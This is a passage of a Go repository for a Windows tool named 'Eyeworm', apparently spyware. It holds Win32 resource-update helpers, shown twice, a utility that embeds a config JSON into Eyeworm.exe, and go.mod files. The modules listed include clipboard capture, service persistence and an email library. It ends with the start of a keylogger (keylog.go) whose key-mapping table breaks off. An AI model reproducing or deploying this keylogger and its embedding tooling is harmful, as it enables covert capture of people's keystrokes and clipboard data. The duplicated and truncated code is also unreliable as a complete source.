40 | func GetFileVersionInfo(filename string, dwhand uint32, ledwlen uint32, lpdata *byte) uintptr {
41 | var nargs uintptr = 4
42 | r, _, callErr := syscall.SyscallN(uintptr(getFileVersionInfo),
43 | nargs,
44 | uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(filename))),
45 | uintptr(dwhand),
46 | uintptr(ledwlen),
47 | uintptr(unsafe.Pointer(lpdata)),
48 | )
49 | if callErr != 0 {
50 | abort("Call GetFileVersionInfo", callErr)
51 | }
52 | return r
53 | }
54 |
55 | func GetFileVersionInfoSize(filename string, dwhandle *uint32) uint32 {
56 | var nargs uintptr = 2
57 | size, _, callErr := syscall.Syscall(uintptr(getFileVersionInfoSize),
58 | nargs,
59 | uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(filename))),
60 | uintptr(unsafe.Pointer(dwhandle)),
61 | 0,
62 | )
63 | fmt.Println("-------------------------------")
64 | if callErr != 0 {
65 | abort("Call GetFileVersionInfoSize", callErr)
66 | }
67 | return uint32(size)
68 | }
69 | func GetSystemDefaultLangID() uint16 {
70 | var nargs uintptr = 0
71 | gid, _, callErr := syscall.Syscall(uintptr(getSystemDefaultLangID),
72 | nargs,
73 | 0,
74 | 0,
75 | 0,
76 | )
77 | if callErr != 0 {
78 | abort("Call GetSystemDefaultLangID", callErr)
79 | }
80 | return uint16(gid)
81 | }
82 | func SizeofResource(hModule, hResInfo uintptr) uintptr {
83 | var nargs uintptr = 2
84 | size, _, callErr := syscall.Syscall(uintptr(sizeofResource),
85 | nargs,
86 | hModule,
87 | hResInfo,
88 | 0,
89 | )
90 | if callErr != 0 {
91 | abort("Call SizeofResource", callErr)
92 | }
93 | return size
94 | }
95 | func FreeLibrary(hLibModule uintptr) {
96 | var nargs uintptr = 1
97 | _, _, callErr := syscall.Syscall(uintptr(freeLibrary),
98 | nargs,
99 | hLibModule,
100 | 0,
101 | 0,
102 | )
103 | if callErr != 0 {
104 | abort("Call FreeLibrary", callErr)
105 | }
106 | }
107 | func LockResource(hResData uintptr) uintptr {
108 | var nargs uintptr = 1
109 | HMODLE, _, callErr := syscall.Syscall(uintptr(lockResource),
110 | nargs,
111 | hResData,
112 | 0,
113 | 0,
114 | )
115 | if callErr != 0 {
116 | abort("Call LoadResource", callErr)
117 | }
118 | return HMODLE
119 | }
120 | func LoadResource(HMODLE, HRSRC uintptr) uintptr {
121 | var nargs uintptr = 2
122 | HMODLE, _, callErr := syscall.Syscall(uintptr(loadResource),
123 | nargs,
124 | HMODLE,
125 | HRSRC,
126 | 0,
127 | )
128 | if callErr != 0 {
129 | abort("Call LoadResource", callErr)
130 | }
131 | return HMODLE
132 | }
133 | func LoadLibrary(file string) uintptr {
134 | var nargs uintptr = 1
135 | HMODLE, _, callErr := syscall.Syscall(uintptr(loadLibrary),
136 | nargs,
137 | uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(file))),
138 | 0,
139 | 0,
140 | )
141 | if callErr != 0 {
142 | abort("Call LoadLibrary", callErr)
143 | }
144 | return HMODLE
145 | }
146 | func UpdateResource(handle uintptr, lpType, lpName *uint16, wLanguage uint16, data *byte, cb uintptr) uintptr {
147 | var nargs uintptr = 6
148 | R, _, callErr := syscall.Syscall6(uintptr(updateResource),
149 | nargs,
150 | handle,
151 | uintptr(unsafe.Pointer(lpType)),
152 | uintptr(unsafe.Pointer(lpName)),
153 | uintptr(wLanguage),
154 | uintptr(unsafe.Pointer(data)),
155 | cb)
156 | if callErr != 0 {
157 | fmt.Println(callErr)
158 | }
159 | return R
160 | }
161 | func BeginUpdateResource(pFileName string, bDeleteExistingResources uint32) uintptr {
162 | var nargs uintptr = 2
163 | handle, _, callErr := syscall.Syscall(uintptr(beginUpdateResource),
164 | nargs,
165 | uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(pFileName))),
166 | uintptr(unsafe.Pointer(&bDeleteExistingResources)),
167 | 0,
168 | )
169 | if callErr != 0 {
170 | abort("Call UpdateResource", callErr)
171 | }
172 | return handle
173 | }
174 |
175 | func FindResource(handle uintptr, lpName, lpType *uint16) uintptr {
176 | var nargs uintptr = 3
177 | HRSRC, _, callErr := syscall.Syscall(uintptr(findResource),
178 | nargs,
179 | handle,
180 | uintptr(unsafe.Pointer(lpName)),
181 | uintptr(unsafe.Pointer(lpType)),
182 | )
183 | if callErr != 0 {
184 | abort("Call FindResource", callErr)
185 | }
186 | return HRSRC
187 | }
188 |
189 | func EndUpdateResource(handle uintptr, fDiscard uint32) {
190 | var nargs uintptr = 2
191 | _, _, callErr := syscall.Syscall(uintptr(endUpdateResource),
192 | nargs,
193 | handle,
194 | uintptr(unsafe.Pointer(&fDiscard)),
195 | 0,
196 | )
197 | if callErr != 0 {
198 | abort("Call UpdateResource", callErr)
199 | }
200 | }
201 | func MAKEINTRESOURCE(id uintptr) *uint16 {
202 | return (*uint16)(unsafe.Pointer(id))
203 | }
204 |
205 | func MyReadSource(file string, lpname uintptr, lptype uintptr) []byte {
206 | HMODLE := LoadLibrary(file)
207 | HRSRC := FindResource(HMODLE, MAKEINTRESOURCE(lpname), MAKEINTRESOURCE(lptype))
208 |
209 | hGlobal := LoadResource(HMODLE, HRSRC)
210 | lockdata := LockResource(hGlobal)
211 | size := SizeofResource(HMODLE, HRSRC)
212 | q := (*byte)(unsafe.Pointer(lockdata))
213 | var buff *[64]byte
214 | var part [64]byte
215 | var result []byte
216 | for i := 0; i < (int(size)/64)+1; i++ {
217 | buff = (*[64]byte)(unsafe.Pointer(uintptr(unsafe.Pointer(q)) + uintptr(i*64)))
218 | part = *buff
219 | result = BytesCombine(result, part[:])
220 | }
221 |
222 | FreeLibrary(HMODLE)
223 | return result[0:int(size)]
224 | }
225 |
226 | func Str2bytes(s string) []byte {
227 | x := (*[2]uintptr)(unsafe.Pointer(&s))
228 | h := [3]uintptr{x[0], x[1], x[1]}
229 | return *(*[]byte)(unsafe.Pointer(&h))
230 | }
231 |
232 | func Bytes2str(b []byte) string {
233 | return *(*string)(unsafe.Pointer(&b))
234 | }
235 | func BytesCombine(pBytes ...[]byte) []byte {
236 | len := len(pBytes)
237 | s := make([][]byte, len)
238 | for index := 0; index < len; index++ {
239 | s[index] = pBytes[index]
240 | }
241 | sep := []byte("")
242 | return bytes.Join(s, sep)
243 | }
244 |
245 | func MAKELANGID(low8, hight8 int) uint16 {
246 | low := low8 & 0x00ff
247 | hight := hight8 >> 8
248 | number := hight
249 | number <<= 8
250 | number |= low
251 | return uint16(number)
252 | }
253 | func MyUpdate(file string, data []byte, lptype gowin32.ResourceType, lpname gowin32.ResourceId) {
254 |
255 | fileVsion, err := gowin32.GetFileVersion(file)
256 | if err != nil {
257 | fmt.Println("err 错误")
258 | fmt.Println(err)
259 | }
260 | Translations, err1 := fileVsion.GetTranslations()
261 | if err1 != nil {
262 | fmt.Println("err1 错误")
263 | fmt.Println(err1)
264 | }
265 | ResourceUpdate, err2 := gowin32.NewResourceUpdate(file, false)
266 | if err2 != nil {
267 | fmt.Println("err2 错误")
268 | fmt.Println(err2)
269 | }
270 |
271 | err3 := ResourceUpdate.Update(lptype, lpname, Translations[0].Language, data)
272 | if err3 != nil {
273 | fmt.Println(err3)
274 | }
275 | ResourceUpdate.Save()
276 |
277 | }
278 |
--------------------------------------------------------------------------------
/UpdateSource/go.mod:
--------------------------------------------------------------------------------
1 | module UpdateSource
2 |
3 | go 1.18
4 |
5 | require github.com/winlabs/gowin32 v0.0.0-20210302152218-c9e40aa88058 // indirect
6 |
--------------------------------------------------------------------------------
/UpdateSource/go.sum:
--------------------------------------------------------------------------------
1 | github.com/winlabs/gowin32 v0.0.0-20210302152218-c9e40aa88058 h1:ueVHMozQDpDiMXXwAytLRH3CNOr29kiwvVaX7knZgY8=
2 | github.com/winlabs/gowin32 v0.0.0-20210302152218-c9e40aa88058/go.mod h1:N51TYkG9JGR5sytj0EoPl31Xg2kuB507lxEmrwSNvfQ=
3 |
--------------------------------------------------------------------------------
/UpdateSource/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "flag"
5 | "fmt"
6 | "io/ioutil"
7 | )
8 |
9 | type FlagStruct struct {
10 | Help bool
11 | File string
12 | Data string
13 | }
14 |
15 | var flagStruct = FlagStruct{}
16 |
17 | func main() {
18 | fmt.Println(" ______ __ __ \n | ____| \\ \\ / / \n | |__ _ _ __\\ \\ /\\ / /__ _ __ _ __ ___ \n | __|| | | |/ _ \\ \\/ \\/ / _ \\| '__| '_ ` _ \\\n | |___| |_| | __/\\ /\\ / (_) | | | | | | | |\n |______\\__, |\\___| \\/ \\/ \\___/|_| |_| |_| |_|\n __/ | \n |___/ \n ")
19 | fmt.Println("欢迎使用 眼虫! UpdateSource 我们将为你服务.... 作者:萧枫")
20 | fmt.Println("使用 -help 查看useage")
21 | if flagStruct.Data != "" && flagStruct.File != "" {
22 | content, err := ioutil.ReadFile(flagStruct.Data)
23 | if err != nil {
24 | panic(err)
25 | }
26 | MyUpdate(flagStruct.File, content, 55, 16)
27 | }
28 | if flagStruct.Help {
29 | flag.Usage()
30 | }
31 |
32 | }
33 |
34 | func init() {
35 | flag.BoolVar(&flagStruct.Help, "help", false, "查看使用方法")
36 | flag.StringVar(&flagStruct.File, "file", "", "要更新Eyeworm的位置 例如:E:\\Eyeworm.exe ")
37 | flag.StringVar(&flagStruct.Data, "data", "", "要更新EyeConfig.json的位置 例如:E:\\EyeConfig.json")
38 | flag.Parse()
39 | }
40 |
--------------------------------------------------------------------------------
/Winapi.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "bytes"
5 | "fmt"
6 | "syscall"
7 | "unsafe"
8 |
9 | "github.com/winlabs/gowin32"
10 | )
11 |
12 | func abort(funcname string, err error) {
13 | panic(fmt.Sprintf("%s failed: %v", funcname, err))
14 | }
15 |
16 | var (
17 | kernel32, _ = syscall.LoadLibrary("kernel32.dll")
18 | AmW, _ = syscall.LoadLibrary("Api-ms-win-core-version-l1-1-0.dll")
19 | updateResource, _ = syscall.GetProcAddress(kernel32, "UpdateResourceW")
20 | beginUpdateResource, _ = syscall.GetProcAddress(kernel32, "BeginUpdateResourceW")
21 | endUpdateResource, _ = syscall.GetProcAddress(kernel32, "EndUpdateResourceW")
22 | findResource, _ = syscall.GetProcAddress(kernel32, "FindResourceW")
23 | loadLibrary, _ = syscall.GetProcAddress(kernel32, "LoadLibraryW")
24 | loadResource, _ = syscall.GetProcAddress(kernel32, "LoadResource")
25 | lockResource, _ = syscall.GetProcAddress(kernel32, "LockResource")
26 | freeLibrary, _ = syscall.GetProcAddress(kernel32, "FreeLibrary")
27 | sizeofResource, _ = syscall.GetProcAddress(kernel32, "SizeofResource")
28 | getSystemDefaultLangID, _ = syscall.GetProcAddress(kernel32, "GetUserDefaultLangID")
29 | getFileVersionInfoSize, _ = syscall.GetProcAddress(AmW, "GetFileVersionInfoSizeW")
30 | getFileVersionInfo, _ = syscall.GetProcAddress(AmW, "GetFileVersionInfoW")
31 | )
32 |
33 | const (
34 | FALSE uint32 = 0
35 | TURE uint32 = 1
36 | LANG_NEUTRAL = 0x00
37 | SUBLANG_NEUTRAL = 0x00
38 | )
39 |
40 | func GetFileVersionInfo(filename string, dwhand uint32, ledwlen uint32, lpdata *byte) uintptr {
41 | var nargs uintptr = 4
42 | r, _, callErr := syscall.SyscallN(uintptr(getFileVersionInfo),
43 | nargs,
44 | uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(filename))),
45 | uintptr(dwhand),
46 | uintptr(ledwlen),
47 | uintptr(unsafe.Pointer(lpdata)),
48 | )
49 | if callErr != 0 {
50 | abort("Call GetFileVersionInfo", callErr)
51 | }
52 | return r
53 | }
54 |
55 | func GetFileVersionInfoSize(filename string, dwhandle *uint32) uint32 {
56 | var nargs uintptr = 2
57 | size, _, callErr := syscall.Syscall(uintptr(getFileVersionInfoSize),
58 | nargs,
59 | uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(filename))),
60 | uintptr(unsafe.Pointer(dwhandle)),
61 | 0,
62 | )
63 | fmt.Println("-------------------------------")
64 | if callErr != 0 {
65 | abort("Call GetFileVersionInfoSize", callErr)
66 | }
67 | return uint32(size)
68 | }
69 | func GetSystemDefaultLangID() uint16 {
70 | var nargs uintptr = 0
71 | gid, _, callErr := syscall.Syscall(uintptr(getSystemDefaultLangID),
72 | nargs,
73 | 0,
74 | 0,
75 | 0,
76 | )
77 | if callErr != 0 {
78 | abort("Call GetSystemDefaultLangID", callErr)
79 | }
80 | return uint16(gid)
81 | }
82 | func SizeofResource(hModule, hResInfo uintptr) uintptr {
83 | var nargs uintptr = 2
84 | size, _, callErr := syscall.Syscall(uintptr(sizeofResource),
85 | nargs,
86 | hModule,
87 | hResInfo,
88 | 0,
89 | )
90 | if callErr != 0 {
91 | abort("Call SizeofResource", callErr)
92 | }
93 | return size
94 | }
95 | func FreeLibrary(hLibModule uintptr) {
96 | var nargs uintptr = 1
97 | _, _, callErr := syscall.Syscall(uintptr(freeLibrary),
98 | nargs,
99 | hLibModule,
100 | 0,
101 | 0,
102 | )
103 | if callErr != 0 {
104 | abort("Call FreeLibrary", callErr)
105 | }
106 | }
107 | func LockResource(hResData uintptr) uintptr {
108 | var nargs uintptr = 1
109 | HMODLE, _, callErr := syscall.Syscall(uintptr(lockResource),
110 | nargs,
111 | hResData,
112 | 0,
113 | 0,
114 | )
115 | if callErr != 0 {
116 | abort("Call LoadResource", callErr)
117 | }
118 | return HMODLE
119 | }
120 | func LoadResource(HMODLE, HRSRC uintptr) uintptr {
121 | var nargs uintptr = 2
122 | HMODLE, _, callErr := syscall.Syscall(uintptr(loadResource),
123 | nargs,
124 | HMODLE,
125 | HRSRC,
126 | 0,
127 | )
128 | if callErr != 0 {
129 | abort("Call LoadResource", callErr)
130 | }
131 | return HMODLE
132 | }
133 | func LoadLibrary(file string) uintptr {
134 | var nargs uintptr = 1
135 | HMODLE, _, callErr := syscall.Syscall(uintptr(loadLibrary),
136 | nargs,
137 | uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(file))),
138 | 0,
139 | 0,
140 | )
141 | if callErr != 0 {
142 | abort("Call LoadLibrary", callErr)
143 | }
144 | return HMODLE
145 | }
146 | func UpdateResource(handle uintptr, lpType, lpName *uint16, wLanguage uint16, data *byte, cb uintptr) uintptr {
147 | var nargs uintptr = 6
148 | R, _, callErr := syscall.Syscall6(uintptr(updateResource),
149 | nargs,
150 | handle,
151 | uintptr(unsafe.Pointer(lpType)),
152 | uintptr(unsafe.Pointer(lpName)),
153 | uintptr(wLanguage),
154 | uintptr(unsafe.Pointer(data)),
155 | cb)
156 | if callErr != 0 {
157 | fmt.Println(callErr)
158 | }
159 | return R
160 | }
161 | func BeginUpdateResource(pFileName string, bDeleteExistingResources uint32) uintptr {
162 | var nargs uintptr = 2
163 | handle, _, callErr := syscall.Syscall(uintptr(beginUpdateResource),
164 | nargs,
165 | uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(pFileName))),
166 | uintptr(unsafe.Pointer(&bDeleteExistingResources)),
167 | 0,
168 | )
169 | if callErr != 0 {
170 | abort("Call UpdateResource", callErr)
171 | }
172 | return handle
173 | }
174 |
175 | func FindResource(handle uintptr, lpName, lpType *uint16) uintptr {
176 | var nargs uintptr = 3
177 | HRSRC, _, callErr := syscall.Syscall(uintptr(findResource),
178 | nargs,
179 | handle,
180 | uintptr(unsafe.Pointer(lpName)),
181 | uintptr(unsafe.Pointer(lpType)),
182 | )
183 | if callErr != 0 {
184 | abort("Call FindResource", callErr)
185 | }
186 | return HRSRC
187 | }
188 |
189 | func EndUpdateResource(handle uintptr, fDiscard uint32) {
190 | var nargs uintptr = 2
191 | _, _, callErr := syscall.Syscall(uintptr(endUpdateResource),
192 | nargs,
193 | handle,
194 | uintptr(unsafe.Pointer(&fDiscard)),
195 | 0,
196 | )
197 | if callErr != 0 {
198 | abort("Call UpdateResource", callErr)
199 | }
200 | }
201 | func MAKEINTRESOURCE(id uintptr) *uint16 {
202 | return (*uint16)(unsafe.Pointer(id))
203 | }
204 |
205 | func MyReadSource(file string, lpname uintptr, lptype uintptr) []byte {
206 | HMODLE := LoadLibrary(file)
207 | HRSRC := FindResource(HMODLE, MAKEINTRESOURCE(lpname), MAKEINTRESOURCE(lptype))
208 |
209 | hGlobal := LoadResource(HMODLE, HRSRC)
210 | lockdata := LockResource(hGlobal)
211 | size := SizeofResource(HMODLE, HRSRC)
212 | q := (*byte)(unsafe.Pointer(lockdata))
213 | var buff *[64]byte
214 | var part [64]byte
215 | var result []byte
216 | for i := 0; i < (int(size)/64)+1; i++ {
217 | buff = (*[64]byte)(unsafe.Pointer(uintptr(unsafe.Pointer(q)) + uintptr(i*64)))
218 | part = *buff
219 | result = BytesCombine(result, part[:])
220 | }
221 |
222 | FreeLibrary(HMODLE)
223 | return result[0:int(size)]
224 | }
225 |
226 | func Str2bytes(s string) []byte {
227 | x := (*[2]uintptr)(unsafe.Pointer(&s))
228 | h := [3]uintptr{x[0], x[1], x[1]}
229 | return *(*[]byte)(unsafe.Pointer(&h))
230 | }
231 |
232 | func Bytes2str(b []byte) string {
233 | return *(*string)(unsafe.Pointer(&b))
234 | }
235 | func BytesCombine(pBytes ...[]byte) []byte {
236 | len := len(pBytes)
237 | s := make([][]byte, len)
238 | for index := 0; index < len; index++ {
239 | s[index] = pBytes[index]
240 | }
241 | sep := []byte("")
242 | return bytes.Join(s, sep)
243 | }
244 |
245 | func MAKELANGID(low8, hight8 int) uint16 {
246 | low := low8 & 0x00ff
247 | hight := hight8 >> 8
248 | number := hight
249 | number <<= 8
250 | number |= low
251 | return uint16(number)
252 | }
253 | func MyUpdate(file string, data []byte, lptype gowin32.ResourceType, lpname gowin32.ResourceId) {
254 |
255 | fileVsion, err := gowin32.GetFileVersion(file)
256 | if err != nil {
257 | fmt.Println("err 错误")
258 | fmt.Println(err)
259 | }
260 | Translations, err1 := fileVsion.GetTranslations()
261 | if err1 != nil {
262 | fmt.Println("err1 错误")
263 | fmt.Println(err1)
264 | }
265 | ResourceUpdate, err2 := gowin32.NewResourceUpdate(file, false)
266 | if err2 != nil {
267 | fmt.Println("err2 错误")
268 | fmt.Println(err2)
269 | }
270 |
271 | err3 := ResourceUpdate.Update(lptype, lpname, Translations[0].Language, data)
272 | if err3 != nil {
273 | fmt.Println(err3)
274 | }
275 | ResourceUpdate.Save()
276 |
277 | }
278 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module Eyeworm
2 |
3 | go 1.18
4 |
5 | require (
6 | github.com/TheTitanrain/w32 v0.0.0-20200114052255-2654d97dbd3d // indirect
7 | github.com/alexmullins/zip v0.0.0-20180717182244-4affb64b04d0 // indirect
8 | github.com/atotto/clipboard v0.1.4 // indirect
9 | github.com/go-ole/go-ole v1.2.6 // indirect
10 | github.com/kardianos/service v1.2.1 // indirect
11 | github.com/mattn/go-runewidth v0.0.9 // indirect
12 | github.com/olekukonko/tablewriter v0.0.5 // indirect
13 | github.com/parsiya/golnk v0.0.0-20200515071614-5db3107130ce // indirect
14 | github.com/shirou/gopsutil v3.21.11+incompatible // indirect
15 | github.com/tklauser/go-sysconf v0.3.10 // indirect
16 | github.com/tklauser/numcpus v0.4.0 // indirect
17 | github.com/winlabs/gowin32 v0.0.0-20210302152218-c9e40aa88058 // indirect
18 | github.com/yusufpapurcu/wmi v1.2.2 // indirect
19 | golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90 // indirect
20 | golang.org/x/net v0.0.0-20220909164309-bea034e7d591 // indirect
21 | golang.org/x/sys v0.0.0-20220913175220-63ea55921009 // indirect
22 | golang.org/x/text v0.3.7 // indirect
23 | gopkg.in/alexcesaro/quotedprintable.v3 v3.0.0-20150716171945-2caba252f4dc // indirect
24 | gopkg.in/gomail.v2 v2.0.0-20160411212932-81ebce5c23df // indirect
25 | )
26 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/TheTitanrain/w32 v0.0.0-20200114052255-2654d97dbd3d h1:2xp1BQbqcDDaikHnASWpVZRjibOxu7y9LhAv04whugI=
2 | github.com/TheTitanrain/w32 v0.0.0-20200114052255-2654d97dbd3d/go.mod h1:peYoMncQljjNS6tZwI9WVyQB3qZS6u79/N3mBOcnd3I=
3 | github.com/alexmullins/zip v0.0.0-20180717182244-4affb64b04d0 h1:BVts5dexXf4i+JX8tXlKT0aKoi38JwTXSe+3WUneX0k=
4 | github.com/alexmullins/zip v0.0.0-20180717182244-4affb64b04d0/go.mod h1:FDIQmoMNJJl5/k7upZEnGvgWVZfFeE6qHeN7iCMbCsA=
5 | github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4=
6 | github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI=
7 | github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
8 | github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
9 | github.com/kardianos/service v1.2.1 h1:AYndMsehS+ywIS6RB9KOlcXzteWUzxgMgBymJD7+BYk=
10 | github.com/kardianos/service v1.2.1/go.mod h1:CIMRFEJVL+0DS1a3Nx06NaMn4Dz63Ng6O7dl0qH0zVM=
11 | github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
12 | github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
13 | github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec=
14 | github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY=
15 | github.com/parsiya/golnk v0.0.0-20200515071614-5db3107130ce h1:A8XpVS2Jz5/aVqmDh5lyeQA6V8d5IfjXTcDyFWj+JsY=
16 | github.com/parsiya/golnk v0.0.0-20200515071614-5db3107130ce/go.mod h1:K81/KqyRQt+tqXkg+ENusP67AeIrzJRa2uVlrCYwF5Y=
17 | github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI=
18 | github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA=
19 | github.com/tklauser/go-sysconf v0.3.10 h1:IJ1AZGZRWbY8T5Vfk04D9WOA5WSejdflXxP03OUqALw=
20 | github.com/tklauser/go-sysconf v0.3.10/go.mod h1:C8XykCvCb+Gn0oNCWPIlcb0RuglQTYaQ2hGm7jmxEFk=
21 | github.com/tklauser/numcpus v0.4.0 h1:E53Dm1HjH1/R2/aoCtXtPgzmElmn51aOkhCFSuZq//o=
22 | github.com/tklauser/numcpus v0.4.0/go.mod h1:1+UI3pD8NW14VMwdgJNJ1ESk2UnwhAnz5hMwiKKqXCQ=
23 | github.com/winlabs/gowin32 v0.0.0-20210302152218-c9e40aa88058 h1:ueVHMozQDpDiMXXwAytLRH3CNOr29kiwvVaX7knZgY8=
24 | github.com/winlabs/gowin32 v0.0.0-20210302152218-c9e40aa88058/go.mod h1:N51TYkG9JGR5sytj0EoPl31Xg2kuB507lxEmrwSNvfQ=
25 | github.com/yusufpapurcu/wmi v1.2.2 h1:KBNDSne4vP5mbSWnJbO+51IMOXJB67QiYCSBrubbPRg=
26 | github.com/yusufpapurcu/wmi v1.2.2/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
27 | golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90 h1:Y/gsMcFOcR+6S6f3YeMKl5g+dZMEWqcz5Czj/GWYbkM=
28 | golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
29 | golang.org/x/net v0.0.0-20220909164309-bea034e7d591 h1:D0B/7al0LLrVC8aWF4+oxpv/m8bc7ViFfVS8/gXGdqI=
30 | golang.org/x/net v0.0.0-20220909164309-bea034e7d591/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk=
31 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
32 | golang.org/x/sys v0.0.0-20201015000850-e3ed0017c211/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
33 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1 h1:SrN+KX8Art/Sf4HNj6Zcz06G7VEz+7w9tdXTPOZ7+l4=
34 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
35 | golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27 h1:XDXtA5hveEEV8JB2l7nhMTp3t3cHp9ZpwcdjqyEWLlo=
36 | golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
37 | golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
38 | golang.org/x/sys v0.0.0-20220913175220-63ea55921009 h1:PuvuRMeLWqsf/ZdT1UUZz0syhioyv1mzuFZsXs4fvhw=
39 | golang.org/x/sys v0.0.0-20220913175220-63ea55921009/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
40 | golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
41 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
42 | gopkg.in/alexcesaro/quotedprintable.v3 v3.0.0-20150716171945-2caba252f4dc h1:2gGKlE2+asNV9m7xrywl36YYNnBG5ZQ0r/BOOxqPpmk=
43 | gopkg.in/alexcesaro/quotedprintable.v3 v3.0.0-20150716171945-2caba252f4dc/go.mod h1:m7x9LTH6d71AHyAX77c9yqWCCa3UKHcVEj9y7hAtKDk=
44 | gopkg.in/gomail.v2 v2.0.0-20160411212932-81ebce5c23df h1:n7WqCuqOuCbNr617RXOY0AWRXxgwEyPp2z+p0+hgMuE=
45 | gopkg.in/gomail.v2 v2.0.0-20160411212932-81ebce5c23df/go.mod h1:LRQQ+SO6ZHR7tOkpBDuZnXENFzX8qRjMDMyPD6BRkCw=
46 |
--------------------------------------------------------------------------------
/img1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/imsellbaox/Eyeworm/26daf2c360b6fa560f81920af6930ae69e308ec7/img1.png
--------------------------------------------------------------------------------
/img2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/imsellbaox/Eyeworm/26daf2c360b6fa560f81920af6930ae69e308ec7/img2.png
--------------------------------------------------------------------------------
/keylog.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "log"
5 | "os"
6 | "os/user"
7 | "path/filepath"
8 | "strings"
9 | "syscall"
10 | "time"
11 | "unsafe"
12 |
13 | "github.com/TheTitanrain/w32"
14 | "github.com/atotto/clipboard"
15 | "golang.org/x/sys/windows"
16 | )
17 |
18 | //未按shift
19 | var keys_low = map[uint16]string{
20 | 8: "[Back]",
21 | 9: "[Tab]",
22 | 10: "[Shift]",
23 | 13: "[Enter]\r\n",
24 | 14: "",
25 | 15: "",
26 | 16: "",
27 | 17: "[Ctrl]",
28 | 18: "[Alt]",
29 | 19: "",
30 | 20: "", //CAPS LOCK
31 | 27: "[Esc]",
32 | 32: " ", //SPACE
33 | 33: "[PageUp]",
34 | 34: "[PageDown]",
35 | 35: "[End]",
36 | 36: "[Home]",
37 | 37: "[Left]",
38 | 38: "[Up]",
39 | 39: "[Right]",
40 | 40: "[Down]",
41 | 41: "[Select]",
42 | 42: "[Print]",
43 | 43: "[Execute]",
44 | 44: "[PrintScreen]",
45 | 45: "[Insert]",
46 | 46: "[Delete]",
47 | 47: "[Help]",
48 | 48: "0",
49 | 49: "1",
50 | 50: "2",
51 | 51: "3",
52 | 52: "4",
53 | 53: "5",
54 | 54: "6",
55 | 55: "7",
56 | 56: "8",
57 | 57: "9",
58 | 65: "a",
59 | 66: "b",
60 | 67: "c",
61 | 68: "d",
62 | 69: "e",
63 | 70: "f",
64 | 71: "g",
65 | 72: "h",
66 | 73: "i",
67 | 74: "j",
68 | 75: "k",
69 | 76: "l",
70 | 77: "m",
71 | 78: "n",
72 | 79: "o",
73 | 80: "p",
74 | 81: "q",
75 | 82: "r",
76 | 83: "s",
77 | 84: "t",
78 | 85: "u",
79 | 86: "v",
80 | 87: "w",
81 | 88: "x",
82 | 89: "y",
83 | 90: "z",
84 | 91: "[Windows]",
85 | 92: "[Windows]",
86 | 93: "[Applications]",
87 | 94: "",
88 | 95: "[Sleep]",
89 | 96: "0",
90 | 97: "1",
91 | 98: "2",
92 | 99: "3",
93 | 100: "4",
94 | 101: "5",
95 | 102: "6",
96 | 103: "7",
97 | 104: "8",
98 | 105: "9",
99 | 106: "*",
100 | 107: "+",
101 | 108: "[Separator]",
102 | 109: "-",
